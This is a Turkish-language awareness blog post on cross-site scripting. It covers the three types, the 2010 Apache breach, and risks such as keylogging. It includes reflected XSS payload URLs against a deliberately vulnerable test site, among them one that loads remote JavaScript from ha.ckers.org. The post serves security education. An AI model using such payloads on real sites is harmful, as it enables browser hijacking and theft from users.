XSS != Basit Bir Kutucuk

written by Mert SARICA | 19 August 2011

Bu zamana dek cross-site scripting ile ilgili çok sayıda makale, hikaye okumuş olabilirsiniz ancak cross-site scripting zafiyetinin halen web uygulamalarında en çok rastlanan güvenlik zafiyetlerinin başında geliyor olması nedeniyle farkındalığı arttırma adına ben de birşeyler karalamak istedim.

Cross-site scripting, nam-ı diğer XSS ve Türkçe meali ile siteler arası betik çalıştırma zafiyeti ile ilgili son kullanıcı olarak bugüne dek çok fazla haber duydunuz, yazılımcı veya yönetici olarak çok sayıda XSS yazan bir kutucuk gördünüz ve bu nedenle XSS zafiyetinin uygulama üzerinde zararsız, küçük bir kutucuk çıkarmaktan ibaret olduğunu düşünebilirsiniz ancak gerçekler bir kutucuk ile sınırlı değil.

Siteler arası betik çalıştırma zafiyeti (XSS) kabaca bir web uygulamasının girdi olarak kabul ettiği kodu (çoğunlukla javascript) filtrelemeden kullanıcıya sunması sonucunda ortaya çıkmaktadır.

Siteler arası betik çalıştırma zafiyeti üçe ayrılmaktadır;

- Kalıcı (persistent/stored): Kullanıcıdan girdi olarak alınan kod (potansiyel zararlı javascript) veritabanına bir defa yazıldıktan sonra daha sonra içeriğin internet tarayıcısı tarafından her çağrılmasında (örnek olarak foruma yazılmış bir mesajı veya bir haberin altına yazılan bir yorumu düşünün) tekrar ve tekrar kullanıcıya sunulur.
- Kalıcı olmayan (non-persistent/reflected): Kullanıcıdan girdi olarak alınan kod (potansiyel zararlı javascript) veritabanına yazılmadığı için sadece bir defa internet tarayıcısı tarafından (E-posta veya sohbet programı üzerinden size gönderilmiş bir bağlantı adresine (URL) tıkladığınızı düşünün) çağrılması ile kullanıcıya sunulur.
- DOM tabanlı: İstemci tarafında bulunan kodun (javascript), DOM'a (Document Object Model/Belge Nesne Yapısıdır) müdahale etmesiyle ortaya çıkmaktadır. DOM tabanlı XSS'in en güzel yanı istemci tarafında olduğu için sunucuya herhangi bir paket gönderilmemektedir bu nedenle sunucu tarafında tespit edilmesi veya engellenmesi mümkün olmaz.

XSS zafiyetinin sadece kutucuk çıkartarak, çerez (cookie) çalarak veya olta

(phishing) saldırılarında kullanarak istismar edilmeyeceğine dair en güzel örneği Apache'nin geçen sene başına gelenlerden öğrenebilirsiniz. 2010 yılında art niyetli kişiler tarafından Apache sunucularında bulunan bir web uygulamasında keşfedilen XSS zafiyetinin istismar edilmesi ile başlayan sızma girişimi sunucularda root yetkisine sahip olmaları ile son buldu. Farkındalığı arttırma adına mutlaka okunması ve okutturulması gereken bu olaya ait detaylı bilgiye buradan ulaşabilirsiniz.

XSS zafiyeti ile ilgili bir örnek üzerinden geçmezsek anlaşılması güç olacağı için ufak bir örnek üzerinden hızlıca ilerleyelim.

Aşağıda yer alan bağlantı adresini ziyaret edecek olursanız karşınıza tfSearch parametresine girdi olarak belirtilen Mert kelimesinin aratılması sonucunda sunucu tarafından dönen yanıtı göreceksiniz. Uygulama tarafında tfSearch parametresinde girdi kontrolü (kötü karakter filtrelemesi) yapılmadığı için XSS zafiyetine yol açmaktadır.

XSS zafiyeti istismar edilmeden kullanım (tfSearch parametresinde XSS zafiteyi bulunmaktadır):

http://testasp.vulnweb.com/Search.asp?tfSearch=Mert

XSS zafiyetini istismar ederek kullanım #1 (alarm kutucuğu):

http://testasp.vulnweb.com/Search.asp?tfSearch=<script>alert('XSS');</script>

XSS zafiyetini istismar ederek kullanım #2 (başka bir siteden zararlı javascript kodu çağırma):

http://testasp.vulnweb.com/Search.asp?tfSearch=<script SRC=http://ha.ckers.org/xss.js></script>

Unutmayın, XSS zafiyetini istismar ederek zararlı bir siteden zararlı javascript kodu çağırmanızı sağlayan art niyetli kişiler, internet tarayıcınızı uzaktan yöneterek tüm tuş kayıtlarınızı izleyebilir, ziyaret ettiğiniz siteleri tespit edebilir, Metasploit ile internet tarayıcınızın zafiyetlerini istismar ederek sisteminize sızabilir veya adsl modeminizin yönetim sayfasındaki CSRF zafiyetini istismar ederek yönetici şifrenizi değiştirerek modeminizi kontrol edebilir.

Tuş kayıtlarının Beef aracı ile nasıl izlenebildiğini gösteren videoyu şiddetle izlemenizi tavsiye ederim.

Askere gitmeden önce hazırlamış olduğum yaylalar yazı dizisinin beşincisi burada son bulurken herkese güvenli günler dilerim.